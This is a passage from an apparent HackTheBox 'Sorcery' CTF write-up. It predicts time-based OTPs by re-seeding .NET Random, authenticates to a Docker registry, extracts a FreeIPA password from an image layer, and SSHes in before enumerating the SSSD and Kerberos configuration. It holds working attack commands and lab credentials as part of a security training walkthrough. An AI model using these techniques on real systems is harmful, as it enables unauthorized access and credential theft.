    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">current time: </span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="nf">isoformat</span><span class="p">()</span><span class="si">}</span><span class="s"> (minute=</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">minute</span><span class="si">}</span><span class="s">, block=</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">minute</span> <span class="o">//</span> <span class="mi">10</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">current OTP : </span><span class="si">{</span><span class="nf">handle_otp</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span><span class="si">:</span><span class="mi">06</span><span class="n">d</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">all 6 OTPs for this hour (uid={}):</span><span class="sh">"</span><span class="p">.</span><span class="nf">format</span><span class="p">(</span><span class="n">uid</span><span class="p">))</span>
    <span class="k">for</span> <span class="n">block</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">6</span><span class="p">):</span>
        <span class="n">m</span> <span class="o">=</span> <span class="n">block</span> <span class="o">*</span> <span class="mi">10</span>
        <span class="n">otp</span> <span class="o">=</span> <span class="nc">DotNetRandom</span><span class="p">(</span><span class="n">block</span> <span class="o">+</span> <span class="n">uid</span><span class="p">).</span><span class="nf">next</span><span class="p">(</span><span class="mi">100000</span><span class="p">,</span> <span class="mi">999999</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">  minute </span><span class="si">{</span><span class="n">m</span><span class="si">:</span><span class="mi">02</span><span class="n">d</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="n">m</span><span class="o">+</span><span class="mi">9</span><span class="si">:</span><span class="mi">02</span><span class="n">d</span><span class="si">}</span><span class="s"> (seed </span><span class="si">{</span><span class="n">block</span> <span class="o">+</span> <span class="n">uid</span><span class="si">}</span><span class="s">): </span><span class="si">{</span><span class="n">otp</span><span class="si">:</span><span class="mi">06</span><span class="n">d</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>It gives the same values as <a href="#password-recovery-via-strace">above</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run dotnet_otp.py 
<span class="go">current time: 2026-04-19T20:59:00.043469 (minute=59, block=5)
current OTP : 780645

all 6 OTPs for this hour (uid=2003):
  minute 00-09 (seed 2003): 229732
  minute 10-19 (seed 2004): 699914
  minute 20-29 (seed 2005): 270098
  minute 30-39 (seed 2006): 740280
  minute 40-49 (seed 2007): 310463
  minute 50-59 (seed 2008): 780645
</span></code></pre></div></div>

<p>I could also write this as a .NET application on my Linux VM. First create a new app:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>dotnet new console <span class="nt">-n</span> recover_otp
<span class="go">
Welcome to .NET 8.0!
---------------------
SDK Version: 8.0.126

----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate, view the instructions: https://aka.ms/dotnet-https-linux

----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
The template "Console App" was created successfully.

Processing post-creation actions...
Restoring ~/hackthebox/sorcery-10.129.25.147/recover_otp/recover_otp.csproj:
  Determining projects to restore...
  Restored ~/hackthebox/sorcery-10.129.25.147/recover_otp/recover_otp.csproj (in 489 ms).
Restore succeeded.
</span></code></pre></div></div>

<p>This creates a project, including a <code class="language-plaintext highlighter-rouge">Program.cs</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls </span>recover_otp/
<span class="go">bin  obj  Program.cs  recover_otp.csproj
</span></code></pre></div></div>

<p>I’ll overwrite <code class="language-plaintext highlighter-rouge">Program.cs</code> with a simple loop to show the seeds:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">min</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">min</span> <span class="p">&lt;</span> <span class="m">6</span><span class="p">;</span> <span class="n">min</span> <span class="p">++)</span> <span class="p">{</span>
        <span class="kt">int</span> <span class="n">seed</span> <span class="p">=</span> <span class="n">min</span> <span class="p">+</span> <span class="m">2003</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">otp</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Random</span><span class="p">(</span><span class="n">seed</span><span class="p">).</span><span class="nf">Next</span><span class="p">(</span><span class="m">100000</span><span class="p">,</span> <span class="m">999999</span><span class="p">);</span>
        <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">$"</span><span class="p">{</span><span class="n">min</span><span class="p">}</span><span class="s">0-</span><span class="p">{</span><span class="n">min</span><span class="p">}</span><span class="s">9: </span><span class="p">{</span><span class="n">otp</span><span class="p">}</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now I’ll run it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>dotnet run <span class="nt">--project</span> recover_otp/
<span class="go">00-09: 229732
10-19: 699914
20-29: 270098
30-39: 740280
40-49: 310463
50-59: 780645
</span></code></pre></div></div>

<h4 id="authenticate-to-docker-registry">Authenticate to Docker Registry</h4>

<p>The easiest way to pass these creds to Docker Registry is using the <code class="language-plaintext highlighter-rouge">-u &lt;user&gt;:&lt;password&gt;</code> option with <code class="language-plaintext highlighter-rouge">curl</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl  localhost:5000/v2/
<span class="go">{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":null}]}
</span><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl <span class="nt">-u</span> <span class="s1">'rebecca_smith:-7eAZDp9-f9mg270098'</span> localhost:5000/v2/
<span class="go">{}
</span></code></pre></div></div>

<h3 id="recover-password-1">Recover Password</h3>

<p>Updating the OTP as needed as time goes on, I’ll enumerate the Docker Registry. There’s only one repository:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl <span class="nt">-u</span> <span class="s1">'rebecca_smith:-7eAZDp9-f9mg740280'</span> localhost:5000/v2/_catalog
<span class="go">{"repositories":["test-domain-workstation"]}
</span></code></pre></div></div>

<p>It has only one tag:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl <span class="nt">-u</span> <span class="s1">'rebecca_smith:-7eAZDp9-f9mg740280'</span> localhost:5000/v2/test-domain-workstation/tags/list
<span class="go">{"name":"test-domain-workstation","tags":["latest"]}
</span></code></pre></div></div>

<p>It has a bunch of layers and history:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl <span class="nt">-u</span> <span class="s1">'rebecca_smith:-7eAZDp9-f9mg740280'</span> localhost:5000/v2/test-domain-workstation/manifests/latest
<span class="go">{
   "schemaVersion": 1,
   "name": "test-domain-workstation",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787"
      },
      {
         "blobSum": "sha256:bff382edc3a6db932abb361e3bd5aa09521886b0b79792616fc346b19a9497ea"
      },
      {
         "blobSum": "sha256:92879ec4738326a2ab395b2427c2ba16d7dcf348f84477653a635c86d0146cb7"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:802008e7f7617aa11266de164e757a6c8d7bb57ed4c972cf7e9f519dd0a21708"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/docker-entrypoint.sh\"],\"Labels\":{\"org.opencontainers.image.ref.name\":\"ubuntu\",\"org.opencontainers.image.version\":\"24.04\"},\"ArgsEscaped\":true},\"created\":\"2024-10-30T18:15:58.62562563Z\",\"id\":\"cc4177898ec5fab88855721f211af318dd1bff1d78864a3061b632c9450b404a\",\"os\":\"linux\",\"parent\":\"cc10a280f66eb0883a4495e70ff18a840c645fd94d3146ac59cf69b7c57a30d6\",\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"cc10a280f66eb0883a4495e70ff18a840c645fd94d3146ac59cf69b7c57a30d6\",\"parent\":\"0d358793c636aa948e3690902cb3cc4b8def0d5ed98262cc20029f03f78cd2c8\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2024-10-30T18:15:58.62562563Z\",\"container_config\":{\"Cmd\":[\"COPY --chmod=0700 docker-entrypoint.sh /docker-entrypoint.sh # buildkit\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"0d358793c636aa948e3690902cb3cc4b8def0d5ed98262cc20029f03f78cd2c8\",\"parent\":\"73cb419a8d89a9f1a20752a796dd0c7938e237d7e8864cde2c825bc7d7017dd8\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2024-10-30T18:15:58.620539134Z\",\"container_config\":{\"Cmd\":[\"RUN /bin/sh -c apt-get install -y freeipa-client # buildkit\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"73cb419a8d89a9f1a20752a796dd0c7938e237d7e8864cde2c825bc7d7017dd8\",\"parent\":\"82d2f37011ae564f95a5cba35b8345c0672693cda98b753c0be53eb0523db14f\",\"comment\":\"buildkit.dockerfile.v0\",\"created\":\"2024-10-30T18:15:30.984234849Z\",\"container_config\":{\"Cmd\":[\"RUN /bin/sh -c apt-get update # buildkit\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"82d2f37011ae564f95a5cba35b8345c0672693cda98b753c0be53eb0523db14f\",\"parent\":\"6213984ec98410a5953c6233ee50d4f99189e953c96501f564708003ebdfa0e9\",\"created\":\"2024-10-11T03:48:04.086892655Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"6213984ec98410a5953c6233ee50d4f99189e953c96501f564708003ebdfa0e9\",\"parent\":\"314371bc38ca2cbdc6e4f6c9ecf2a4de7aeaf31c6d71a45872671a5063fb1b5f\",\"created\":\"2024-10-11T03:48:03.777394067Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:34dc4f3ab7a694ecde47ff7a610be18591834c45f1d7251813267798412604e5 in / \"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"314371bc38ca2cbdc6e4f6c9ecf2a4de7aeaf31c6d71a45872671a5063fb1b5f\",\"parent\":\"b14a7346a5c3b89b4886c1d8576cbcbd73d2b85ae2e344e71602eec95c3f6682\",\"created\":\"2024-10-11T03:48:01.642491381Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  LABEL org.opencontainers.image.version=24.04\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"b14a7346a5c3b89b4886c1d8576cbcbd73d2b85ae2e344e71602eec95c3f6682\",\"parent\":\"8e9880e2f2f433621c34c94d346eecaf8e8e500e3e55f52a6c322d2f747ae137\",\"created\":\"2024-10-11T03:48:01.607507065Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  LABEL org.opencontainers.image.ref.name=ubuntu\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"8e9880e2f2f433621c34c94d346eecaf8e8e500e3e55f52a6c322d2f747ae137\",\"parent\":\"3690474eb5b4b26fdfbd89c6e159e8cc376ca76ef48032a30fa6aafd56337880\",\"created\":\"2024-10-11T03:48:01.571862048Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  ARG LAUNCHPAD_BUILD_ARCH\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"3690474eb5b4b26fdfbd89c6e159e8cc376ca76ef48032a30fa6aafd56337880\",\"created\":\"2024-10-11T03:48:01.529767151Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  ARG RELEASE\"]},\"throwaway\":true}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "HD5L:WALB:3YBK:2Q2G:TRWO:RPHX:VHVB:37GX:2GYT:3BMS:PTGT:PQJC",
               "kty": "EC",
               "x": "GzGT3ba3n93XLyy8usi-o9aEyndKonMcJhRnT3IpOeU",
               "y": "_WvOLfUOzZ9_2t_VHvVceSK3i_3uKitgPDEQJ8N1emQ"
            },
            "alg": "ES256"
         },
         "signature": "vynWEa88NjoUBabIQa6sSFO7JHoeFfYuqLzBsH50mZc5uBDEQAHeGfnqShNQ6UIcvqP5RRW44-_XnOtOvE9ayw",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjUwODYsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyNi0wNC0xOVQyMTozMzo1OFoifQ"
      }
   ]
</span></code></pre></div></div>

<p>Rather than manually figure these out, I’ll use <a href="https://github.com/Syzik/DockerRegistryGrabber.git">DockerRegistryGrabber</a>. I’ll reconnect SSH with <code class="language-plaintext highlighter-rouge">-L 5000:127.0.0.1:5000</code> so that port 5000 on my host forwards to the registry.</p>

<p>This tool can list the repos:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run drg.py http://localhost <span class="nt">--list</span> <span class="nt">-U</span> rebecca_smith <span class="nt">-P</span><span class="s1">'-7eAZDp9-f9mg270098'</span>
<span class="go">[+] test-domain-workstation
</span></code></pre></div></div>

<p>And then dump the layers:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run drg.py http://localhost <span class="nt">--dump</span> test-domain-workstation <span class="nt">-U</span> rebecca_smith <span class="nt">-P</span><span class="s1">'-7eAZDp9-f9mg270098'</span>
<span class="go">[+] BlobSum found 10
[+] Dumping test-domain-workstation
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787
    [+] Downloading : bff382edc3a6db932abb361e3bd5aa09521886b0b79792616fc346b19a9497ea
    [+] Downloading : 92879ec4738326a2ab395b2427c2ba16d7dcf348f84477653a635c86d0146cb7
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : 802008e7f7617aa11266de164e757a6c8d7bb57ed4c972cf7e9f519dd0a21708
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
</span></code></pre></div></div>

<p>This saves each to a directory on my host. Three are big, and two are small:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> test-domain-workstation
<span class="go">total 157428
-rwxrwx--- 1 root vboxsf       246 Apr 20 01:27 292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787.tar.gz
-rwxrwx--- 1 root vboxsf  30610919 Apr 20 01:27 802008e7f7617aa11266de164e757a6c8d7bb57ed4c972cf7e9f519dd0a21708.tar.gz
-rwxrwx--- 1 root vboxsf  29979842 Apr 20 01:27 92879ec4738326a2ab395b2427c2ba16d7dcf348f84477653a635c86d0146cb7.tar.gz
-rwxrwx--- 1 root vboxsf        32 Apr 20 01:27 a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
-rwxrwx--- 1 root vboxsf 100598014 Apr 20 01:27 bff382edc3a6db932abb361e3bd5aa09521886b0b79792616fc346b19a9497ea.tar.gz
</span></code></pre></div></div>

<p>The 32-byte one is empty, but the 246-byte one has a <code class="language-plaintext highlighter-rouge">docker-entrypoint.sh</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tar</span> <span class="nt">-vtf</span> a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tar</span> <span class="nt">-vtf</span> 292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787.tar.gz
<span class="go">-rwx------ 0/0             181 2024-10-30 18:03 docker-entrypoint.sh
</span></code></pre></div></div>

<p>I’ll extract that script:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">tar</span> <span class="nt">-xf</span> 292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787.tar.gz
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>docker-entrypoint.sh 
<span class="c">#!/bin/bash
</span><span class="go">
ipa-client-install --unattended --principal donna_adams --password 3FEVPCT_c3xDH \
    --server dc01.sorcery.htb --domain sorcery.htb --no-ntp --force-join --mkhomedir
</span></code></pre></div></div>

<p>There is a username and password in there!</p>

<h3 id="ssh-1">SSH</h3>

<p>I’m able to SSH as donna_adams:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> <span class="s1">'3FEVPCT_c3xDH'</span> ssh donna_adams@sorcery.htb
<span class="go">Creating directory '/home/donna_adams'.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
...[snip]...
</span><span class="gp">$</span><span class="w"> </span>bash
<span class="gp">donna_adams@main:~$</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-ash_winter">Shell as ash_winter</h2>

<h3 id="enumeration-4">Enumeration</h3>

<h4 id="user">User</h4>

<p>The donna_adams user’s home directory is very empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>find <span class="nb">.</span> <span class="nt">-type</span> f
<span class="go">./.profile
./.cache/motd.legal-displayed
./.bashrc
./.bash_logout
</span></code></pre></div></div>

<p>They cannot run <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for donna_adams: 
Sorry, user donna_adams may not run sudo on localhost.
</span></code></pre></div></div>

<p>And are not a member of any interesting groups on this computer:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span><span class="nb">id</span>
<span class="go">uid=1638400003(donna_adams) gid=1638400003(donna_adams) groups=1638400003(donna_adams)
</span></code></pre></div></div>

<p>The uid <code class="language-plaintext highlighter-rouge">1638400003</code> is far above the 65535 range a plain Linux system would ever hand out from <code class="language-plaintext highlighter-rouge">/etc/passwd</code>. Uids in this range are being issued centrally, which leads directly into the identity stack on <code class="language-plaintext highlighter-rouge">main</code>.</p>

<h4 id="sssd--freeipa">SSSD / FreeIPA</h4>

<p><code class="language-plaintext highlighter-rouge">main</code> is joined to a FreeIPA realm via <code class="language-plaintext highlighter-rouge">ipa-client-install</code>, and resolves users / groups / netgroups / sudo rules through <a href="https://sssd.io/">SSSD</a>. The configuration is spread across three files.</p>

<p><code class="language-plaintext highlighter-rouge">/etc/nsswitch.conf</code> routes NSS lookups through <code class="language-plaintext highlighter-rouge">sss</code> after local <code class="language-plaintext highlighter-rouge">files</code>:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Generated by authselect
# Do not modify this file manually, use authselect instead. Any user changes will be overwritten.
# You can stop authselect from managing your configuration by calling 'authselect opt-out'.
# See authselect(8) for more details.
</span><span class="w">
</span><span class="c"># In order of likelihood of use to accelerate lookup.
</span><span class="na">passwd:</span><span class="w">     </span><span class="na">files</span><span class="w"> </span><span class="na">sss</span><span class="w"> </span><span class="na">systemd</span><span class="w">
</span><span class="na">shadow:</span><span class="w">     </span><span class="na">files</span><span class="w">
</span><span class="na">group:</span><span class="w">      </span><span class="na">files</span><span class="w"> </span><span class="na">sss</span><span class="w"> </span><span class="na">systemd</span><span class="w">
</span><span class="na">hosts:</span><span class="w">      </span><span class="na">files</span><span class="w"> </span><span class="na">myhostname</span><span class="w"> </span><span class="na">resolve</span><span class="w"> </span><span class="nn">[!UNAVAIL=return]</span><span class="w"> </span><span class="na">dns</span><span class="w">
</span><span class="na">services:</span><span class="w">   </span><span class="na">files</span><span class="w"> </span><span class="na">sss</span><span class="w">
</span><span class="na">netgroup:</span><span class="w">   </span><span class="na">files</span><span class="w"> </span><span class="na">sss</span><span class="w">
</span><span class="na">sudoers:</span><span class="w">    </span><span class="na">files</span><span class="w"> </span><span class="na">sss</span><span class="w">
</span><span class="na">automount:</span><span class="w">  </span><span class="na">files</span><span class="w"> </span><span class="na">sss</span><span class="w">

</span><span class="na">aliases:</span><span class="w">    </span><span class="na">files</span><span class="w">
</span><span class="na">ethers:</span><span class="w">     </span><span class="na">files</span><span class="w">
</span><span class="na">gshadow:</span><span class="w">    </span><span class="na">files</span><span class="w">
</span><span class="na">networks:</span><span class="w">   </span><span class="na">files</span><span class="w"> </span><span class="na">dns</span><span class="w">
</span><span class="na">protocols:</span><span class="w">  </span><span class="na">files</span><span class="w">
</span><span class="na">publickey:</span><span class="w">  </span><span class="na">files</span><span class="w">
</span><span class="na">rpc:</span><span class="w">        </span><span class="na">files</span><span class="w">
</span></code></pre></div></div>

<p>This is why donna_adams can SSH and <code class="language-plaintext highlighter-rouge">getent passwd donna_adams</code> works even though they aren’t in <code class="language-plaintext highlighter-rouge">/etc/passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>getent passwd donna_adams
<span class="go">donna_adams:*:1638400003:1638400003:donna adams:/home/donna_adams:/bin/sh
</span></code></pre></div></div>

<p>The entry comes from the IPA directory via SSSD. <code class="language-plaintext highlighter-rouge">sudoers: files sss</code> means <code class="language-plaintext highlighter-rouge">sudo</code> rules can also be pushed centrally (not just from <code class="language-plaintext highlighter-rouge">/etc/sudoers</code>).</p>

<p><code class="language-plaintext highlighter-rouge">/etc/ipa/default.conf</code> was written by <code class="language-plaintext highlighter-rouge">ipa-client-install</code> and names the realm, domain, and server:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#File modified by ipa-client-install
</span><span class="w">
</span><span class="nn">[global]</span><span class="w">
</span><span class="py">basedn</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">dc=sorcery,dc=htb</span>
<span class="py">realm</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">SORCERY.HTB</span>
<span class="py">domain</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">sorcery.htb</span>
<span class="py">server</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">dc01.sorcery.htb</span>
<span class="py">host</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">main.sorcery.htb</span>
<span class="py">xmlrpc_uri</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">https://dc01.sorcery.htb/ipa/xml</span>
<span class="py">enable_ra</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">True</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/etc/krb5.conf</code> wires Kerberos to the same server for TGT issuance, admin, and password change:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#File modified by ipa-client-install
</span><span class="w">
</span><span class="na">includedir</span><span class="w"> </span><span class="na">/etc/krb5.conf.d/</span><span class="w">
</span><span class="nn">[libdefaults]</span><span class="w">
  </span><span class="py">default_realm</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">SORCERY.HTB</span>
<span class="w">  </span><span class="py">dns_lookup_realm</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">false</span>
<span class="w">  </span><span class="py">rdns</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">false</span>
<span class="w">  </span><span class="py">dns_canonicalize_hostname</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">false</span>
<span class="w">  </span><span class="py">dns_lookup_kdc</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">true</span>
<span class="w">  </span><span class="py">ticket_lifetime</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">24h</span>
<span class="w">  </span><span class="py">forwardable</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">true</span>
<span class="w">  </span><span class="py">udp_preference_limit</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">0</span>
<span class="w">  </span><span class="py">default_ccache_name</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">KEYRING:persistent:%{uid}</span>
<span class="w">

</span><span class="nn">[realms]</span><span class="w">
  </span><span class="py">SORCERY.HTB</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">{</span>
<span class="w">    </span><span class="py">kdc</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">dc01.sorcery.htb:88</span>
<span class="w">    </span><span class="py">master_kdc</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">dc01.sorcery.htb:88</span>
<span class="w">    </span><span class="py">admin_server</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">dc01.sorcery.htb:749</span>
<span class="w">    </span><span class="py">kpasswd_server</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">dc01.sorcery.htb:464</span>
<span class="w">    </span><span class="py">default_domain</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">sorcery.htb</span>
<span class="w">    </span><span class="py">pkinit_anchors</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">FILE:/var/lib/ipa-client/pki/kdc-ca-bundle.pem</span>
<span class="w">    </span><span class="py">pkinit_pool</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">FILE:/var/lib/ipa-client/pki/ca-bundle.pem</span>
<span class="w">
  </span><span class="na">}</span><span class="w">


</span><span class="nn">[domain_realm]</span><span class="w">
  </span><span class="py">.sorcery.htb</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">SORCERY.HTB</span>
<span class="w">  </span><span class="py">sorcery.htb</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">SORCERY.HTB</span>
<span class="w">  </span><span class="py">main.sorcery.htb</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">SORCERY.HTB</span>
</code></pre></div></div>

<p>SSH password authentication flows through PAM, and with <code class="language-plaintext highlighter-rouge">pam_sss</code> in the stack SSSD performs a <code class="language-plaintext highlighter-rouge">kinit</code> against the IPA KDC on a successful password check. That means after logging in I already have a TGT:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">donna_adams@main:~$</span><span class="w"> </span>klist
<span class="go">Ticket cache: KEYRING:persistent:1638400003:krb_ccache_zGbGVN4
Default principal: donna_adams@SORCERY.HTB

Valid starting     Expires            Service principal
